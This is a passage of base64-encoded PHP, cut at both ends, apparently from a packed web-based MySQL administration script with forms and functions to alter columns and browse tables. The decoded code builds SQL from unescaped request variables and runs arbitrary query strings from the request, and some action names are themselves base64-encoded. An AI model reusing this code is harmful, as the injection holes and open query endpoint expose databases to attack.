IG5hbWU9dHlwZSB2YWx1ZT0iVElNRSIgJzsgaWYoICR0eXBlID09ICJ0aW1lIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU1FICgtODM4OjU5OjU5IH4gODM4OjU5OjU5LCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iWUVBUiIgJzsgaWYoICR0eXBlID09ICJ5ZWFyIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5ZRUFSICgxOTAxIH4gMjE1NSwgMDAwMCwgWVlZWSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQ0hBUiIgJzsgaWYoICR0eXBlID09ICJjaGFyIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5DSEFSPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlZBUkNIQVIiICc7IGlmKCAkdHlwZSA9PSAidmFyY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VkFSQ0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJUSU5ZVEVYVCIgJzsgaWYoICR0eXBlID09ICJ0aW55dGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWVRFWFQgKDAgfiAyNTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VEVYVCAoMCB+IDY1NTM1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJNRURJVU1URVhUIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPk1FRElVTVRFWFQgKDAgfiAxNjc3NzIxNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTE9OR1RFWFQiICc7IGlmKCAkdHlwZSA9PSAibG9uZ3RleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkxPTkdURVhUICgwIH4gNDI5NDk2NzI5NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWUJMT0IiICc7IGlmKCAkdHlwZSA9PSAidGlueWJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllCTE9CICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCTE9CIiAnOyBpZiggJHR5cGUgPT0gImJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkJMT0IgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNQkxPQiIgJzsgaWYoICR0eXBlID09ICJtZWRpdW1ibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1CTE9CICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdCTE9CIiAnOyBpZiggJHR5cGUgPT0gImxvbmdibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HQkxPQiAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkVOVU0iICc7IGlmKCAkdHlwZSA9PSAiZW51bSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+RU5VTTwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU0VUIiAnOyBpZiggJHR5cGUgPT0gInNldCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+U0VUPC90ZD4NCjx0ZCBjb2xzcGFuPTU+PGNlbnRlcj52YWx1ZSBsaXN0PC9jZW50ZXI+PC90ZD4NCjwvdHI+DQoNCjwvdGFibGU+DQo8dGFibGU+DQo8dHI+PHRoPk08L3RoPjx0aD5EPC90aD48dGg+dW5zaWduZWQ8L3RoPjx0aD56ZXJvZmlsbDwvdGg+PHRoPmJpbmFyeTwvdGg+PHRoPnZhbHVlIGxpc3QgKGV4OiBcJ2FwcGxlXCcsIFwnb3JhbmdlXCcsIFwnYmFuYW5hXCcpIDwvdGg+PC90cj4NCjx0cj4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1NICc7IGlmKCAkTSAhPSAiIiApIGVjaG8gInZhbHVlPSRNIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1EICc7IGlmKCAkRCAhPSAiIiApIGVjaG8gInZhbHVlPSREIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT11bnNpZ25lZCB2YWx1ZT0iVU5TSUdORUQiICc7IGlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICJ1bnNpZ25lZCIgKSApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXplcm9maWxsIHZhbHVlPSJaRVJPRklMTCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInplcm9maWxsIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YmluYXJ5IHZhbHVlPSJCSU5BUlkiICc7IGlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICJiaW5hcnkiICkgICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT02MCBuYW1lPXZhbHVlbGlzdCAnOyBpZiggJHZhbHVlbGlzdCAhPSAiIiApIGVjaG8gInZhbHVlPVwiJHZhbHVlbGlzdFwiIjtlY2hvICc+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQoNCjxoMz5GbGFnczwvaDM+DQo8dGFibGU+DQo8dHI+PHRoPm5vdCBudWxsPC90aD48dGg+ZGVmYXVsdCB2YWx1ZTwvdGg+PHRoPmF1dG8gaW5jcmVtZW50PC90aD48dGg+cHJpbWFyeSBrZXk8L3RoPjwvdHI+DQo8dHI+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9bm90X251bGwgdmFsdWU9Ik5PVCBOVUxMIiAnOyBpZiggJGZpZWxkbnVsbCAhPSAiWUVTIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGVmYXVsdF92YWx1ZSAnOyBpZiggJGZpZWxkZGVmYXVsdCAhPSAiIiApIGVjaG8gInZhbHVlPSRmaWVsZGRlZmF1bHQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWF1dG9faW5jcmVtZW50IHZhbHVlPSJBVVRPX0lOQ1JFTUVOVCIgJzsgaWYoICRmaWVsZGV4dHJhID09ICJhdXRvX2luY3JlbWVudCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1wcmltYXJ5X2tleSB2YWx1ZT0iUFJJTUFSWSBLRVkiICc7IGlmKCAkZmllbGRrZXkgPT0gIlBSSSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD4nOw0KDQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KDQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBBREQgJG5hbWUgIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJBTFRFUiBUQUJMRSAkdGFibGVuYW1lIENIQU5HRSAkb2xkX25hbWUgJG5hbWUgIjsNCg0KCWlmKCAkTSAhPSAiIiApDQoJCWlmKCAkRCAhPSAiIiApDQoJCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCRNLCREKSAiOw0KCQllbHNlDQoJCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCRNKSAiOw0KCWVsc2UgaWYoICR2YWx1ZWxpc3QgIT0gIiIgKSB7DQoJCSR2YWx1ZWxpc3QgPSBzdHJpcHNsYXNoZXMoICR2YWx1ZWxpc3QgKTsNCgkJJHF1ZXJ5U3RyIC49ICIkdHlwZSgkdmFsdWVsaXN0KSAiOw0KCX0gZWxzZQ0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlICI7DQoNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KDQoJaWYoICRkZWZhdWx0X3ZhbHVlICE9ICIiICkNCgkJJHF1ZXJ5U3RyIC49ICJERUZBVUxUICckZGVmYXVsdF92YWx1ZScgIjsNCg0KCSRxdWVyeVN0ciAuPSAiJG5vdF9udWxsICRhdXRvX2luY3JlbWVudCI7DQoNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KDQoJLy8ga2V5IGNoYW5nZQ0KCSRrZXlDaGFuZ2UgPSBmYWxzZTsNCgkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoICJTSE9XIEtFWVMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRwcmltYXJ5ID0gIiI7DQoJd2hpbGUoICRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSApDQoJCWlmKCAkcm93WyJLZXlfbmFtZSJdID09ICJQUklNQVJZIiApIHsNCgkJCWlmKCAkcm93W0NvbHVtbl9uYW1lXSA9PSAkbmFtZSApDQoJCQkJJGtleUNoYW5nZSA9IHRydWU7DQoJCQllbHNlDQoJCQkJJHByaW1hcnkgLj0gIiwgJHJvd1tDb2x1bW5fbmFtZV0iOw0KCQl9DQoJaWYoICRwcmltYXJ5X2tleSA9PSAiUFJJTUFSWSBLRVkiICkgew0KCQkkcHJpbWFyeSAuPSAiLCAkbmFtZSI7DQoJCSRrZXlDaGFuZ2UgPSAhJGtleUNoYW5nZTsNCgl9DQoJJHByaW1hcnkgPSBzdWJzdHIoICRwcmltYXJ5LCAyICk7DQoJaWYoICRrZXlDaGFuZ2UgPT0gdHJ1ZSApIHsNCgkJJHEgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIFBSSU1BUlkgS0VZIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgkJJHEgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBBREQgUFJJTUFSWSBLRVkoICRwcmltYXJ5ICkiOw0KCQlteXNxbF9xdWVyeSggJHEgKTsNCgkJJHF1ZXJ5U3RyIC49ICI8YnI+XG4iIC4gJHE7DQoJCSRlcnJNc2cgLj0gIjxicj5cbiIgLiBteXNxbF9lcnJvcigpOw0KCX0NCg0KCXZpZXdTY2hlbWEoKTsNCn0NCg0KZnVuY3Rpb24gZHJvcEZpZWxkKCkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRmaWVsZG5hbWUsICRQSFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KDQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoNCgl2aWV3U2NoZW1hKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdEYXRhKCAkcXVlcnlTdHIgKSB7DQoJZ2xvYmFsICRhY3Rpb24sICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkZXJyTXNnLCAkcGFnZSwgJHJvd3BlcnBhZ2UsICRvcmRlcmJ5Ow0KDQoJZWNobyAiPGgxPkRhdGEgaW4gVGFibGU8L2gxPlxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllbHNlDQoJCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWU8L3A+XG4iOw0KDQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAkcXVlcnlTdHIgKTsNCgkkZmllbGR0ID0gbXlzcWxfZmV0Y2hfZmllbGQoJHBSZXN1bHQpOw0KCSR0YWJsZW5hbWUgPSAkZmllbGR0LT50YWJsZTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCg0KCSRHTE9CQUxTW3F1ZXJ5U3RyXSA9ICRxdWVyeVN0cjsNCg0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KDQoJZWNobyAiPGhyPlxuIjsNCg0KCSRyb3cgPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkY29sID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCg0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCg0KCWlmKCAkcm93cGVycGFnZSA9PSAiIiApICRyb3dwZXJwYWdlID0gMzA7DQoJaWYoICRwYWdlID09ICIiICkgJHBhZ2UgPSAwOw0KCWVsc2UgJHBhZ2UtLTsNCglteXNxbF9kYXRhX3NlZWsoICRwUmVzdWx0LCAkcGFnZSAqICRyb3dwZXJwYWdlICk7DQoNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPlxuIjsNCgllY2hvICI8dHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRjb2w7ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJZWNobyAiPHRoPiI7DQoJCWlmKCRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRtbGxkMFJoZEdFPSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZvcmRlcmJ5PSIuJGZpZWxkLT5uYW1lLiInPiIuJGZpZWxkLT5uYW1lLiI8L2E+XG4iOw0KCQllbHNlDQoJCQllY2hvICRmaWVsZC0+bmFtZS4iXG4iOw0KCQllY2hvICI8L3RoPlxuIjsNCgl9DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KDQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQsICRqICk7DQoJCQlpZiggJGZpZWxkLT5wcmltYXJ5X2tleSA9PSAxICkNCgkJCQkka2V5IC49ICImIiAuICRmaWVsZC0+bmFtZSAuICI9IiAuICRkYXRhOw0KDQoJCQlpZiggc3RybGVuKCAkZGF0YSApID4gMzAgKQ0KCQkJCSRkYXRhID0gc3Vic3RyKCAkZGF0YSwgMCwgMzAgKSAuICIuLi4iOw0KCQkJJGRhdGEgPSBodG1sc3BlY2lhbGNoYXJzKCAkZGF0YSApOw0KCQkJZWNobyAiPHRkPlxuIjsNCgkJCWVjaG8gIiRkYXRhXG4iOw0KCQkJZWNobyAiPC90ZD5cbiI7DQoJCX0NCg0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KDQoJZWNobyAiPGZvbnQgc2l6ZT0yPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoNCgllY2hvICgkcGFnZSsxKS4iLyIuKGludCkoJHJvdy8kcm93cGVycGFnZSsxKS4iIHBhZ2UiOw0KCWVjaG8gIjwvZm9udD5cbiI7DQoJZWNobyAiIHwgIjsNCglpZiggJHBhZ2UgPiAwICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSk7DQoJCWVsc2UNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJnBhZ2U9Ii4oJHBhZ2UpOw0KCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIiZvcmRlcmJ5PSRvcmRlcmJ5IjsNCgkJZWNobyAiJz5QcmV2PC9hPlxuIjsNCgl9IGVsc2UNCgkJZWNobyAiUHJldiI7DQoJZWNobyAiIHwgIjsNCglpZiggJHBhZ2UgPCAoJHJvdy8kcm93cGVycGFnZSktMSApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UrMik7DQoJCWVsc2UNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJnBhZ2U9Ii4oJHBhZ2UrMik7DQoJCWlmKCAkb3JkZXJieSAhPSAiIiAmJiAkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiJm9yZGVyYnk9JG9yZGVyYnkiOw0KCQllY2hvICInPk5leHQ8L2E+XG4iOw0KCX0gZWxzZQ0KCQllY2hvICJOZXh0IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcm93ID4gJHJvd3BlcnBhZ2UgKSB7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00IG5hbWU9cGFnZT5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nR28nPlxuIjsNCgl9DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhKCAkY21kICkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRjsNCg0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCg0KCQkka2V5ID0gIiI7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQsICRpICk7DQoJCQlpZiggJGZpZWxkLT5wcmltYXJ5X2tleSA9PSAxICkNCgkJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCQkka2V5IC49ICRmaWVsZC0+bmFtZSAuICI9IiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiIEFORCAiOw0KCQkJCWVsc2UNCgkJCQkJJGtleSAuPSAkZmllbG